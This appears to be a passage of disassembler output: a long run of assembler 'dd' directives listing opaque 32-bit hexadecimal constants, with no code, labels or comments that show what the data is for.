		dd 0FDCA6C93h, 872052C0h, 14564AF2h, 0B669983h,	39A0185Eh
		dd 0BB1D1591h, 0E7560Fh, 3BC51052h, 0E9C80B89h,	2E988EF3h
		dd 8815D1B1h, 41E859CAh, 6EC2DD99h, 0DF130A34h,	0E56BC9EAh
		dd 42D2CEB1h, 163F809h,	438D8F61h, 0C4248404h, 2D7E61B6h
		dd 976702C6h, 831A7FAFh, 8B5D6F7Dh, 0D8459DD9h,	6268550Eh
		dd 0E059662Fh, 828F5372h
		dd 26F7C55h, 1B276E8h, 0C644845Dh, 0A0B6A4D0h, 64F44828h
		dd 94F5E22Dh, 51F37AE4h, 0D42F8E60h, 0E504FEC1h, 50007CFDh
		dd 1528F868h, 9583213h,	41E2B3ACh, 0AD3D7D74h, 4937D3EBh
		dd 0EEE993DDh, 4F293E03h, 81D2645Fh, 825425F3h,	0E15BD20h
		dd 0D5675CEh, 0A9CF0049h, 4B6BE926h, 840BF2A3h,	0CA105AE3h
		dd 3F38D205h, 10D81274h, 1C600897h, 15A46E11h, 73E774B7h
		dd 920D622h, 2271DFE5h,	440F17Fh, 0AF02271Ch, 0FCA03456h
		dd 0B3DD294h, 98218187h, 0F880C1FEh, 73BF307Dh,	7B193DEBh
		dd 6F6624C6h, 84C95DA1h, 0B51B772Ah, 5EBBE8A0h,	0AC56D293h
		dd 0B8ABED84h, 51E8D7C0h, 0BF283318h, 708305D2h, 0B4F3745Ch
		dd 0ABB91650h, 0D6108998h, 0FEE9C5B7h, 9F2D26A7h, 903C02D3h
		dd 5F312197h, 3C6D40F9h, 50B8C9D5h, 9CD5954Eh, 522F261Ah
		dd 0E587994Bh, 0C0C788Fh, 0C32AF468h, 7A5441E5h, 45928A90h
		dd 0C5B601Ah, 7DFA9578h, 5AAEF49Fh, 5538017Dh, 0C823DDCh
		dd 74DE5A6Ah, 9DACAFFh,	141F0808h, 0D46EE90Bh, 50E680ECh
		dd 0F74B3A0Dh, 78D0DE5Fh, 354327C6h, 162822h, 54B2D846h
		dd 0B1BE3160h, 1803E985h, 952F4388h, 81FF9689h,	5BDD296Bh
		dd 25DDFD3Fh, 0B8CE2F53h, 0D85E597Bh, 3A5C9AA0h, 52BE4297h
		dd 0C5B9372Ah, 0E35569A1h, 0AA0C06F4h, 5A57172Dh, 8822690h
		dd 6A7E8641h, 0D9A7AAFCh, 6759760Bh, 0B701A448h, 1DF7803Ah
		dd 0D313B22Ah, 28E1D08h, 3916950Dh, 0AB012140h,	9D205D95h
		dd 84C95835h, 0D49D4D5Eh, 1FB6096Fh, 72EC827Fh,	295E0164h
		dd 9480E0FBh, 4BE47782h, 0A35ECDF4h, 1D247A8Ah,	55A800Dh
		dd 20C59133h, 99549F6h,	0BF0C6569h, 1E5B069Ah, 817E87F5h
		dd 6803B230h, 4BD4BDDCh, 5F02F25Bh, 7767BF59h, 10A94A08h
		dd 2AED4C50h, 0D8E60D0Eh, 0C178F698h, 2AC6CF58h, 12BC7E2h
		dd 0DEA038FBh, 0E7F78BAAh, 2AE727E8h, 939C55A7h, 64BD5505h
		dd 8E043F0Eh, 8803D96Ah, 779F51EBh, 81CB6753h, 0A6595BDEh
		dd 80C16904h, 0CB2BA9E6h, 171D3FE9h, 1D0BAFCFh,	0BDB156BFh
		dd 0D0C61E7Bh, 0EEBA7E28h, 0BD28BCBh, 771BA7E9h, 60A58098h
		dd 5A4AF72Fh, 0BE562866h, 0CCE9170Ah, 8FE3FC57h, 0C2FE65B2h
		dd 0A567E281h, 5F68C2Eh, 630FD41h, 612EF6DAh, 37840C7Ch
		dd 835ED804h, 8FB6EF5Fh, 0B568E982h, 0A2EA8356h, 784B1812h
		dd 0BF16655Ah, 9D7A9F4Dh, 0B3920BF8h, 1603E632h, 0E5C84059h
		dd 0F0242EBBh, 68893CA6h, 0BF563817h, 0B7711D66h, 2F8DE108h
		dd 0D20A88E5h, 5CA5070Fh, 1950853h, 4F29D3Dh, 0C049E38Eh
		dd 344F58EAh, 8CA0A1BDh, 0C6F32381h, 304E756Dh,	1D18579Fh
		dd 270C3828h, 2D8B7A0Eh, 80F8BBE9h, 38564C9Dh, 0AF4B8548h
		dd 0B66F0E79h, 7AD2107Bh, 44F58001h, 0D959EA30h, 6012ADCAh
		dd 9375581Ch, 0A0E21ECFh, 4AEE833Dh, 6C0531E2h,	0AE0DB86Eh
		dd 25E85E25h, 0CFE35D89h, 286DEEB5h, 0BFD30C7Eh, 0B90582Dh
		dd 0B005C60Bh, 0F4C25764h, 89D1080Bh, 8553F663h, 25AACAFEh
		dd 4542FF01h, 58D11675h, 2F10D250h, 27B30044h, 8079B252h
		dd 250FB8C2h, 3121E565h, 8B1E3F39h, 0F7B2D616h,	92F2A864h
		dd 0D37F25Fh, 235B7C97h, 0C2CB319Eh, 178E8DDh, 129F90C1h
		dd 0F0665225h, 2D183D07h, 150C6CE1h, 4C160429h,	0A74FDEE9h
		dd 87AE6255h, 0A7207584h, 32BF3FF8h, 6303D9Eh, 975DCD68h
		dd 6BD24A19h, 4E189AB2h, 7B8F971h, 4815721Eh, 0E8C2CED7h
		dd 13ED5C5Dh, 1E2CEE52h, 5A91E6DFh, 0B1C5AC3Ah,	5C348FD0h
		dd 4DF7E4CEh, 0B795845Ah, 0D1824F18h, 1A17D7E1h, 0DF084B67h
		dd 0A53174Dh, 0A5A37958h, 3E6F375Ah, 13148EF2h,	4289CDAEh
		dd 59F40FF9h, 5FD7296Fh, 49E752A2h, 95803346h, 0A62E3AC7h
		dd 5A009C61h, 81365907h, 377709E2h, 33D8147Fh, 0B8AFD0Bh
		dd 18A5431h, 6830C3EEh,	38AE2B69h, 8985DDB8h, 7FE023E9h
		dd 5902CAB9h, 8B68201Dh, 0E3A7B04Fh, 0A09173Ah,	0BB25015Dh
		dd 0FECED2DAh, 0A18EF140h, 53C7FC9Fh, 659D0494h, 58A247EDh
		dd 3608BC5Ch, 31E2402h,	26DB7254h, 9BC6E0DBh, 6FFB9813h
		dd 84CE230Fh, 40FCC20Ch, 0AB768AC4h, 0ED68D830h, 0AE2B914Ah
		dd 1C4627C4h, 6B09BCB0h, 5E05E435h, 1808A0A1h, 7BFEE95Dh
		dd 0EE9FC283h, 1E785ED1h, 0B7F5C12Ch, 7E49F1F6h, 6616DDA8h
		dd 10AC893h, 0DC27C37Ah, 28265273h, 98E52F5Ah, 973D1236h
		dd 0C404BB4Eh, 9DD4273Bh, 0F70ECAA9h, 0F03643DBh, 65605BC2h
		dd 0B436C375h, 53561F0Dh, 0EF290B5Dh, 712CAFCCh, 606C70DFh
		dd 2A7400D9h, 0AFB0BA1Ah, 60980BDDh, 0E2525B25h, 6840DF5Ch
		dd 0F4BFA659h, 0B951F881h, 990C0254h, 76296C10h, 272DB601h
		dd 3BFDE97Ah, 3BBF8A00h, 955EF91Bh, 93241022h, 3D4ADBDDh
		dd 0E6206F92h, 919AEEh,	0FA2AF7EDh, 0AD89370h, 0C0CBF57h
		dd 0A166F929h, 7675C4AAh, 4C1A58CBh, 0A15EBD92h, 0DEE1B58Dh
		dd 7A6656F6h, 61A90168h, 0EC18E124h, 0FEADF17h,	0E9E95BCCh
		dd 37CA6305h, 0A50C9EBDh, 1C164D69h, 95915375h,	0B502B3B1h
		dd 0E5E8F1C1h, 28C42BEFh, 2EA5F3EBh, 0BB81564Ah, 2D445341h
		dd 0EF270824h, 1805EF10h, 5A2E7148h, 0A92682FCh, 4BE9290h
		dd 0BB7C1667h, 56ADA51Dh, 0E960ADBDh, 5B4A8C1Fh, 7E84C9AEh
		dd 6C244F04h, 1A665AAh,	773BA43Bh, 9BD14031h, 124F6C41h
		dd 80630A5h, 5F14811Ch,	82B4D638h, 94798CBEh, 88E1B005h
		dd 667060AFh, 7FA5053h,	0F5D8F625h, 0E20BA1CAh,	0BFC8B657h
		dd 550B307Eh, 0EF0DD4B6h, 0BA99C16Ah, 38806B9Ch, 0F1ACAC4Bh
		dd 0A13D4E70h, 0B41E01D2h, 3022D55Ch, 6C3F1C81h, 9FB1CE75h
		dd 10A31283h, 0C4C1E58h, 9E21604h, 60255C01h, 0AA3C1DEEh
		dd 0AF080667h, 7337460h, 3B175D35h, 1FA5526h, 0EFAC2D9Fh
		dd 3BC46101h, 0B815F781h, 5BDF9851h, 58F3C67Fh,	23295A0Eh
		dd 3826E016h, 0BF407E37h, 1B1FC8D0h, 31C29F82h,	48C9E9C7h
		dd 2569BF35h, 0EEFD5538h, 825E9045h, 1100ADDh, 0B8347A19h
		dd 0FF6117E5h, 0C14FF2E8h, 578BBD14h, 8060CA42h, 0A9482A9Ah
		dd 77DD2FCCh, 281EE08h,	0A412EAC6h, 0C0F06255h,	12F4CB63h
		dd 4408785Eh, 0BEF67961h, 6C58AAB2h, 8724DA2Ch,	4930CFBDh
		dd 5DEBAB0Eh, 292A6877h, 7A77813Ch, 0C4A23712h,	62F56882h
		dd 2F2E4ED7h, 4F45BAA1h, 5C65B609h, 0F086082h, 0C9D94AB2h
		dd 46200406h, 55DF64E9h, 6EADEA54h, 7ACF8103h, 0C966C38h
		dd 0CE5A9209h, 5EC5264h, 71057CEFh, 2DB8F039h, 9338A09h
		dd 90FF643h, 824E4037h,	0D13FE98h, 0C3F0491Ah, 0E87A1DBDh
		dd 0FEE6810Eh, 611BCB67h, 0F830F85Eh, 0D6F71413h, 0FBFC13EAh
		dd 40EDD11Ch, 9C5E5AD7h, 0FE7FC5CEh, 51D72421h,	2570A26Ah
		dd 133AF904h, 1E94E27Eh, 41984849h, 3E272F94h, 0CE0219DCh
		dd 35982442h, 9D02EA07h, 55300057h, 0C0BF26BBh,	0C9B969FDh
		dd 68D7EF4Bh, 9F744121h, 68055467h, 38FF3DBAh, 4E4BD4DEh
		dd 60CA9DABh, 808253AAh, 520961CFh, 0B6209F69h,	77A8240Eh
		dd 50E910C5h, 0BD4AC4B8h, 0A4E9B36Fh, 53B0CF1h,	0D0A156F7h
		dd 34DD68F6h, 554D189Dh, 170C125Bh, 2F5DB131h, 0F16D2CBAh
		dd 2A8A674Bh, 0A30BA4Ah, 0B40C5FE9h, 0BF1F448Ch, 8FEE6E4Fh
		dd 0A52AEB27h, 812C651h, 76AF0007h, 290753BEh, 0E8444002h
		dd 28AC7FC1h, 0A15175C2h, 0A124BC01h, 0E27E4123h, 8040C12Eh
		dd 2169DC01h, 0E098AD5Eh
		dd 73632D5Ch, 139171Bh,	22F01C8h, 306E2651h, 5C13D922h
		dd 0F0E15678h, 25406061h, 90DB0F8Ah, 0C1164BA4h, 23012DCBh
		dd 3D7C7A79h, 45F014C9h, 1835005Ch, 0F7C3EB86h,	5F1D060h
		dd 75D17C82h, 57551639h, 7EC6C09Bh, 604AB418h, 801D0E5h
		dd 13464E9h, 0AE6E5EB1h, 40F68128h, 3F2D68F9h, 0C5E0EE29h
		dd 0AAD82110h, 0C7A01D34h, 313B414Ch, 97926BA4h, 0D0D8DD5Eh
		dd 71518C08h, 0E95A0236h, 8956BD21h, 733FDB84h,	7E1BBCAAh
		dd 1E40C4Eh, 4EE3B0F2h,	0E060BC81h, 1677C3B9h, 8129509Dh
		dd 6A711202h, 0BBCAA547h, 544A873h, 694B8C0Ch, 1695AC3Ah
		dd 0A617FC04h, 68DA02ABh, 6B4C1228h, 0E038B512h, 0B2E412AAh
		dd 93D63156h, 0C6108B3Eh, 6315BA4h, 40530C0Ah, 0A4294BC5h
		dd 0CA00841h, 7E91814h,	57E36D52h, 1B1F68ECh, 5A18FA58h
		dd 2E7A2AAAh, 70BA6E2Bh, 763F190Bh, 0A8E3007Fh,	0E915670Fh
		dd 0B774A84h, 32D90A58h, 50C47C69h, 2B12E5B8h, 8BEA713Ch
		dd 642D1ED7h, 57481DC5h, 0B6324C2h, 0AF2B9A05h,	0B0422429h
		dd 88B7687Ch, 894796FDh, 0BE8F483h, 1871E8C3h, 0D8ED4A4Fh
		dd 0C6FE0841h, 791F317Dh, 0DC2DB560h, 0D599C2B8h, 772B408h
		dd 282C680h, 77CC5AF7h,	0A698305Bh, 51E32A68h, 18B2166Bh
		dd 7938E0C0h, 24FF4E5Ah, 164BE7D6h, 84AEE9D1h, 11D68228h
		dd 8ADF564Ah, 3E010A2Ch, 0D16CB115h, 4E35F550h,	9D96A14Dh
		dd 53029E6Ch, 7CB7685Eh, 806B18D5h, 9DE8AC40h, 5C2D9DFEh
		dd 0E95F41DBh, 0E556C52h, 0E976BEBFh, 2D167123h, 7902FAF0h
		dd 160A748h, 0D09B8FF5h, 9BC8FE4Bh, 5600B85Ch, 0ED048117h
		dd 0AA925AE9h, 2E652288h, 1DC8854h, 2B7533C5h, 0F90C8734h
		dd 0AB7FCF10h, 86388CDh, 560FE904h, 16CAF388h, 6A7961h
		dd 28553B24h, 542CE948h, 988B6445h, 0B1409852h,	0DD7BE5Dh
		dd 610BA1C9h, 0C0F1E028h, 4F166815h, 0B3531617h, 7CE59F04h
		dd 8AB9EC12h, 5A8A284h,	0F04F46B0h, 0CCBC5B65h,	66D6B7C0h
		dd 60E31768h, 0C788D3EAh, 49341E05h, 0E2ABCC39h, 4A775E16h
		dd 2E0E865Bh, 59223BDh,	0BCEA05B6h, 0FA2FB876h,	7E5A3304h
		dd 0B20675EBh, 7BF217E1h, 6815F7E2h, 277D88C3h,	0B7D2B391h
		dd 211E2B02h, 7E505911h, 5D4EC03Eh, 0B8052BDDh,	42F8033Ah
		dd 0B073EEE8h, 4C8F2D65h, 4400295Fh, 4D56A58h, 82C91F4Eh
		dd 0E6D12AF4h, 3EFEC501h, 83BA61D6h, 2577D279h,	0EF205047h
		dd 6BA4FDD9h, 24FA65B0h, 5DF7235Fh, 0C72BD7Fh, 0E209DA98h
		dd 413C961h, 57011E78h,	0C04333BFh, 6CC8472Eh, 0EA81094Fh
		dd 0DDBBC255h, 2EC19352h, 777A2931h, 5DFE8742h,	8400AACCh
		dd 4328E057h, 0E10753E9h, 0B062F2C2h, 3A0C5027h, 9D791713h
		dd 95AF0027h, 29BC244Ch, 0EE9EC94h, 2C7E4139h, 0D4206B79h
		dd 0EAF85A34h, 3A42642Dh, 66802DFh, 0F4E84EF7h,	0E8555487h
		dd 58BE4084h, 0D57C0125h, 29E92D30h, 0F5B18754h, 0BADF5A0Fh
		dd 707B6B79h, 5F01F294h, 932BE3D8h, 0C1EB2C94h,	6A514FBFh
		dd 7129BC4h, 0AAD3ABA8h, 77F2E513h, 7FD80FA2h, 2685501h
		dd 5D2D9036h, 98ABFC3Eh, 0D635FD0Ch, 5F912C1Ah,	0C1C12ECFh
		dd 29406A5Ch, 1695842Eh, 53D4FB08h, 2A1421C4h, 6FA14A27h
		dd 8AC1F73Eh, 3CB0AB73h, 14C3B79h, 58C32123h, 885DAD68h
		dd 0AF72444Dh, 0D15EF5F8h, 8EBAAA13h, 9AB82F7Fh, 0B1847F8Eh
		dd 7C9EA657h, 659D475Ah, 26846EDh, 68340E4Bh, 0CC31712Ch
		dd 0E443585Bh, 0AA724CB4h, 0F7680131h, 5FF83362h, 0E0000DA8h
		dd 814D7B71h, 2D3BEFCFh, 0CEE93E1Ah, 0ADAFAE5Eh, 0AF790CA3h
		dd 4A44D254h, 4FE3E4F3h, 0C0AB3827h, 30485572h,	590C7D7Ah
		dd 0F36996D4h, 386057FAh, 0E913FD29h, 31C87CBBh, 90B97251h
		dd 0FE624C4Dh, 231F405h, 0CBEA006Ch, 516D3320h,	0D7AC5850h
		dd 9D206541h, 6F5BB663h, 79F0A5C9h, 0B9F9BA4Eh,	0CD7291Fh
		dd 0E1FD7B60h, 3628F8C2h, 5F41778Fh, 5BFE8203h,	4112265h
		dd 6EBAD6ADh, 0E3CD1429h, 38426887h, 59E27D45h,	45720F92h
		dd 6630CD20h, 0F6C76BEAh, 0B5A29A4Ah, 3829D789h, 0E994C1DFh
		dd 0BF4ABF3Ch, 0BD558FD0h, 2C211E27h, 30EB5B6Dh, 0CA0BAA98h
		dd 7AEC524Bh, 0F8B3904Fh, 94258A1Ah, 20996431h,	590E482Dh
		dd 135E5D68h, 40A58BEAh, 7126B496h, 880E9966h, 109354E2h
		dd 5825054Dh, 0E44B73C8h, 7ECE3B2Dh, 7AA030E0h,	51209245h
		dd 0C5E92D21h, 0DE31EB83h, 0FF56F390h, 5E6836B0h, 0B2300B0Eh
		dd 9FC56BB1h, 805D1C8Bh, 712D0F90h, 7EF7E62Eh, 31A717CFh
		dd 5C280BC3h, 684F1875h, 0F7464840h, 8D0454CBh,	0F2810050h
		dd 988865DCh, 646B25BFh, 5951595Ch, 0CE31162Fh,	7FB44F6Fh
		dd 0BAE85B2Fh, 5C225169h, 0E18C92D6h, 0D72758DCh, 0D94DA16h
		dd 689277E9h, 0EBABF9D5h, 0CDE98840h, 1CF8974Eh, 0D0FC81C5h
		dd 5546DFBFh, 5B103A4Fh, 4FCA01A7h, 0C7010D4Ch,	90F7FB30h
		dd 0D60B82DAh, 63FE4248h, 9CCBB900h, 29CE7ADFh,	2F6D99A3h
		dd 5EA0C22h, 0F1606CD4h, 9F60EC71h, 3A27BCF0h, 81F95986h
		dd 0A9366B68h, 0F7017065h, 0F311520Dh, 91132A73h, 8A1EBB68h
		dd 0E56E4045h, 0CA21137Dh, 30000044h, 553C356Ah, 250BD190h
		dd 60773B26h, 5F0DE9DEh, 7DDDD192h, 87086E38h, 0F258200Ah
		dd 3A984143h, 0DDC377C1h, 53A7E220h, 1262B837h,	14558AF5h
		dd 5B31F8C7h, 0FA1CA485h, 0D0215F1Eh, 0F1C377C9h, 0CF78881Bh
		dd 703EBB01h, 8CE83F2Fh, 0B8E3D694h, 3D19F3Ah, 1F01C513h
		dd 6734440Dh, 0AD8DFA7Dh, 75A5F0A8h, 4BEEA859h,	61252456h
		dd 2BA10263h, 7AD71EBAh, 149E02D6h, 4CE9230Fh, 7425C354h
		dd 0EF9ABCF7h, 0E561129Bh, 2DCE3B40h, 0C188510Bh, 652704FCh
		dd 0BB530849h, 1305D749h, 0AF6EE87h, 89D8881Ch,	0D6795801h
		dd 0C56FC718h, 1A0E168Dh, 3BD90134h, 2B726675h,	5BD144B0h
		dd 0CCDAFC06h, 26C76E52h, 0B70A93Ch, 7A9C08EBh,	98D3A220h
		dd 0BB5F5F1Dh, 50C4AE35h, 0C1A9BFBh, 40EA70E9h,	995E9505h
		dd 0C5895D05h, 839692EDh, 0E998D128h, 92B503ADh, 1ECAC1A6h
		dd 0FBFB264h, 7F15080Ch, 9B221D49h, 4AE5EFD1h, 0A94AE98Bh
		dd 0A7A7F09h, 2ED36B4Bh, 7DE99D99h, 0B8773D07h,	6819B22Eh
		dd 5BE1967Dh, 0A721BA5Ch, 0B333F8Dh, 2CE74F73h,	7158D640h
		dd 0E1007E13h, 6B437B44h, 0C09197E9h, 9FABD26h,	0D7F5631Dh
		dd 4DF6FBB5h, 5B4C1A10h, 0E75D16B4h, 0C37F01EDh, 73CFE12Fh
		dd 2E0A3536h, 7D271068h, 0F67EA342h, 60C0880Ah,	6026DE2Dh
		dd 432241EDh, 91F9155Eh, 0B27A0841h, 418D9269h,	78ADA361h
		dd 64466141h, 0FA0FC654h, 0C598887Ah, 28EE0BB8h, 3958A589h
		dd 8EBC92D2h, 569D680Ah, 187A465Ah, 5161A7A2h, 4068507h
		dd 0ABCEBD1h, 5B3278D4h, 2CE1081Ch, 6534AA88h, 63093B17h
		dd 167EC9A0h, 125F06Ch,	1B0C1EE1h, 94836077h, 1F513302h
		dd 615BDA89h, 246ABDE9h, 0A0D8EBA4h, 2582BE48h,	765A2454h
		dd 28B8BB20h, 1FCEFA4Eh, 3428AF5Eh, 0D97D8283h,	0EB254609h
		dd 0AAAFD79Dh, 0BCA90649h, 0C92CDBD7h, 69B9595Dh, 78AE500h
		dd 52B071ADh, 4831FE0Bh, 48AF7D30h, 3499AEB5h, 0BE18BA58h
		dd 42669352h, 92C009F8h, 5869397Ch, 3CF8E92Eh, 90BB5C96h
		dd 3278A67h, 290F2D5Ch,	754B9D2Eh, 0B1C90804h, 16E03BFEh
		dd 0C33C16D3h, 0E7400040h, 31DC1C85h, 0C459C825h, 6DBF3899h
		dd 15A6C96h, 0C936026Ah
		dd 62E7D867h, 40A82A17h, 106911B4h, 4A7C376Bh, 66C96FBDh
		dd 0DAD6F82Dh, 0DD802871h, 0E94DEE34h, 2498FD35h, 7C024E4Fh
		dd 0F69F91F6h, 57276Dh,	0B4BA52EFh, 758D2561h, 6DD25850h
		dd 0E91F0C0Bh, 5F3FD280h, 4E740B2Ch, 0C8F7EF5Ah, 894EBA3Eh
		dd 0C09794BDh, 0A911F783h, 0B485C9Dh, 0FF1A07CCh, 0FF56A9FDh
		dd 0BBAC7EE7h, 0E045E2h, 807BB652h, 0F5E0AC98h,	6AFFC5EAh
		dd 0B65ACEE3h, 587B1CC6h, 7E13F725h, 67707FD2h,	90305A76h
		dd 1CACF97h, 7BC0092Ch,	0C88BDAF7h, 83F7FF8Bh, 0D1C28954h
		dd 0D73B6112h, 25C3728Ch, 5BD9A2D5h, 585AD752h,	2EE8979h
		dd 0CCBA824Bh, 49B15A89h, 80E55969h, 54992D5Ah,	64D46D06h
		dd 0F8084479h, 685D5F04h, 31EE1D16h, 0C202B8C3h, 3AA75811h
		dd 796B6979h, 0E877A5F4h, 803C8D2Eh, 4800E1BEh,	0E681415Dh
		dd 48CA1095h, 0B0ED312h, 0FF767320h, 92656E81h,	2DD0F993h
		dd 4C7C6BB1h, 40985E91h, 0E613B988h, 0DD4C3154h, 0DBCD0075h
		dd 0E91C512Ch, 28D567A6h, 885CEB88h, 62EA29CFh,	9B78FF32h
		dd 0EAA82EF5h, 0AC4EE9B8h, 45EAB212h, 45D70D93h, 0FA2DC8EAh
		dd 0E1A25553h, 0D7D0B1CFh, 68F0DCBBh, 714CB227h, 40798260h
		dd 0B38F14D2h, 0CCC299F8h, 12F37C12h, 8C150BFh,	5535B12h
		dd 806C115Fh, 76A7E9CBh, 88514196h, 0AC04D63Ch,	0FC64B753h
		dd 0C4CF169Eh, 0C160C4BFh, 7A5BF846h, 868A6D09h, 0F8E7A655h
		dd 2D1E0405h, 0AA5F4A6Bh, 41851A2Ch, 0F05E9B72h, 40C5C550h
		dd 85B5B892h, 912CEFC1h, 1020F7C0h, 0CC5F5B11h,	68B5FE84h
		dd 0BD3B57E6h, 334246F4h, 0F8965F72h, 0F83A74BDh, 8080E0E4h
		dd 90BA78EAh, 798B9D5Fh, 0D1949E16h, 47DB53Eh, 0E9B2D8ABh
		dd 0F4570CAAh, 14755AD1h, 50E92543h, 0BB59EF84h, 0F6B161FCh
		dd 1DBB0074h, 321C2D62h, 0CB8018F6h, 4CBF68D0h,	48BE0056h
		dd 0E92CC14Bh, 0C7B71730h, 2A173F6Bh, 71A942E3h, 8EF78A70h
		dd 364C82D1h, 0FC80E073h, 8D7F096Ch, 16D5EF29h,	0A6CF516Fh
		dd 7E410630h, 0B4EF5B3Fh, 8F7A68A2h, 0EEB24799h, 0B0D378DAh
		dd 0DEEABF70h, 0E2218661h, 6709677h, 514FE3F5h,	0CE019805h
		dd 572075D9h, 7D2C5F55h, 90604A47h, 39A056Ah, 2860C398h
		dd 7060EB17h, 0F7594FD8h, 0B2EAD2F4h, 2060C8F1h, 0E97AB5AEh
		dd 14951BDh, 0E13C6A35h, 7867E949h, 29FF4E51h, 75FE2E11h
		dd 246FED3h, 4363EECh, 5F44EABAh, 0F145FE7Fh, 37BD78B7h
		dd 0ADB53924h, 2309A854h, 0B77B55CBh, 4A446CADh, 28EE0990h
		dd 0CD80E083h, 6E87BBADh, 9BA87405h, 108ABDA0h,	183C3026h
		dd 3B288D03h, 9EB2003Dh, 31EA87E4h, 0C733E9CDh,	89C53F0Eh
		dd 0C42BCF56h, 8047BB78h, 0DDB10FBDh, 0F4CEF770h, 646E404Ah
		dd 0E4ED541Fh, 0F302007h, 0BDEE0C30h, 5231EE43h, 4BCEEAEBh
		dd 2E7DE3E0h, 0E912683Bh, 0E4D46E42h, 0B857DEA4h, 8B07F321h
		dd 1A4127C2h, 0A2FFC633h, 5E7677AFh, 1FAF48F5h,	9C062CFBh
		dd 5BFC89CFh, 0D408E25Ch, 54BE017Ah, 60751764h,	5513E85Eh
		dd 0AE4DEDh, 94FE756h, 0D660F710h, 11D76910h, 4BF2F4A6h
		dd 4A8AB35Eh, 2DA7DEF0h, 0B255BCE7h, 0ADEC5DABh, 90126820h
		dd 0B16D3345h, 7FA0F3E7h, 0C8946C88h, 3C184328h, 0F6983676h
		dd 0A6261849h, 42C20C78h, 0EB873550h, 1E2BF297h, 0A82D4EFBh
		dd 916D2FD2h, 7226964Ch, 509D3AE6h, 4520F4D7h, 97C381F3h
		dd 4A9C3A7Eh, 47B9FF67h, 46E8FA9Ah, 0BF3D0FAEh,	26E21222h
		dd 5CB5F2C8h, 0CA0BAC9Bh, 3101E828h, 0F15166D0h, 0EFFC6AD1h
		dd 5A0E2C02h, 0F97D4D68h, 0ACA4B9AEh, 7D12BE8Ch, 0E21D0043h
		dd 664B191Ch, 4A68A8B8h, 111EB106h, 0B4443C8h, 0CC50B3E9h
		dd 0FA5FB904h, 0DC44979h, 629121FBh, 1A343BD4h,	50A728EBh
		dd 0E7CB842h, 0CC01DBEEh, 1C6D25Ch, 0D10F8071h,	0EA95205Dh
		dd 0E9BD5650h, 0FC0C15Eh, 27437FBDh, 0BEDE62ADh, 11DE7501h
		dd 7E090Ah, 7EB2E614h, 5CC06BC9h, 5BFFD866h, 56783C05h
		dd 0F0293D05h, 5E07092Dh, 4C6572DFh, 0A84E05Fh,	40BA16AFh
		dd 0C479C31Fh, 0A0FCB53Fh, 5B73849Dh, 0A6172CB3h, 844BF86Ah
		dd 570359C9h, 66BBC0BFh, 5DADEB0Fh, 0D629CBD3h,	0A0082010h
		dd 0B97D2820h, 8F58A745h, 8537F80Ch, 587C6240h,	40DEC577h
		dd 9A3B6FBBh, 6D62B92Eh, 0F6D9310Bh, 6AC7598Ah,	25C403D4h
		dd 30DFA1FFh, 1434E933h, 8CBD5845h, 0EF42D89h, 18A2CFBAh
		dd 2422F54Eh, 0B8322168h, 6E4268h, 83AF180h, 76A0CB4Eh
		dd 7D664847h, 5A42AE25h, 0E2BB5975h, 7455C28Dh,	0CB046907h
		dd 69B8AFB0h, 2991AEB5h, 0A505434Ah, 0F6EC3F97h, 3CDE6809h
		dd 8839B264h, 5BFD14C7h, 75BC4B30h, 73F68C2h, 0C265465Ch
		dd 5434B809h, 0B25F2D05h, 82717C56h, 3C8BF921h,	5A75565Dh
		dd 2028EE77h, 78BF0EDDh, 7C1C9752h, 0EA190F00h,	26D2250Bh
		dd 5641979h, 3F930A97h,	5DB01404h, 0E1C0113h, 6B24DC2Bh
		dd 8120B94h, 102889AEh,	0D4307D4h, 2580E927h, 9ADEF04h
		dd 89EC8B2Eh, 34F54DB0h, 5CE913E3h, 399C8874h, 737A0700h
		dd 72A61905h, 0C68912A8h, 4BE0BF58h, 5E704D84h,	934AB405h
		dd 860A853Bh, 0F30281D5h, 79B05351h, 345629h, 0EA1E7AEFh
		dd 0C7780103h, 580842E5h, 5A4AFC77h, 0BA4AA556h, 5732B88h
		dd 0B8F1315Ah, 0E1C8B2ADh, 0F1E6499Fh, 4F98846Ah, 0F71DC0F8h
		dd 0F4266906h, 9A023D57h, 0C10A0C26h, 0FD9D987Fh, 4182D8DDh
		dd 3B4E7568h, 7284398Dh, 1422B9E9h, 62E301E0h, 0F7314035h
		dd 0B47893A7h, 96B4D797h, 0C125DC9Fh, 2ECC6EE9h, 0BBC627BBh
		dd 2DD0A229h, 5CE43B7h,	0D95DE16Eh, 37FB0176h, 306FB30Fh
		dd 670BE592h, 804F644Bh, 1656EF15h, 0A6C3B507h,	4AFC9A4Ch
		dd 0CCFE95C0h, 1FEC3980h, 0BED9F492h, 0A22F31E2h, 0D7DCBDCAh
		dd 9253EC59h, 6C72B709h, 5220DD7Fh, 83C16639h, 3AD5313Fh
		dd 0C832EA69h, 17105FA6h, 0A3D317Dh, 2A351D4Dh,	0F4C4BA33h
		dd 45C055E8h, 5E776446h, 602E5E95h, 50C35122h, 4285574Ah
		dd 131743E0h, 3537527h,	0A9339D3Fh, 1405BAF4h, 0CCBA66CEh
		dd 0EE4DF145h, 2C605B43h, 2C8060B5h, 3FAB05C5h,	0CDB7530Bh
		dd 20B4B521h, 0E4BF05EFh, 0E913392Eh, 71B38F87h, 0EFA88B9Fh
		dd 0B322CEC5h, 58926849h, 4CD21020h, 0C965BD1Fh, 0B554D36h
		dd 1DBF0201h, 0B0500130h, 8BC6D9A6h, 254576Bh, 0C843227h
		dd 20B5900Ch, 33D6C3ACh, 0BA744FDCh, 0E7F91213h, 89440E29h
		dd 0B9E86F67h, 0D3BF92ABh, 0E8C18786h, 0C01EE20Ch, 117A98D5h
		dd 537F82E5h, 0EFFA26C9h, 294E7D81h, 0D2F56A07h, 0F0C70806h
		dd 508897FEh, 0DE84EFF2h, 54E9BECAh, 43D16809h,	32D7E730h
		dd 82174824h, 0C8133802h, 36978F66h, 524F32BBh,	1B6C4457h
		dd 605E6C1h, 0ACBAC6EFh, 0E919EE04h, 1DCD65E3h,	0C01F3CE0h
		dd 0C262EDC1h, 0E0BFBF84h, 0BDDEF76Eh, 18FF8587h, 0FE6A3E00h
		dd 733A2D6Bh, 0A2FB4C0Ah, 0DC33752Fh, 7FF7E8D1h, 11B587B8h
		dd 0E240AE96h, 0A7104A02h, 0B5B95FDBh, 5338284h, 748EE388h
		dd 0CC0F624h, 0D2678E7h, 0C62D0CE0h, 0C0735E35h, 3FBF4BF8h
		dd 34AA294Eh, 0FA40C564h, 27F8F163h, 0FA817098h, 0C9F18951h
		dd 3896E9CDh, 0D26802EDh, 0E46AE471h, 7F48195h,	0B05E7633h
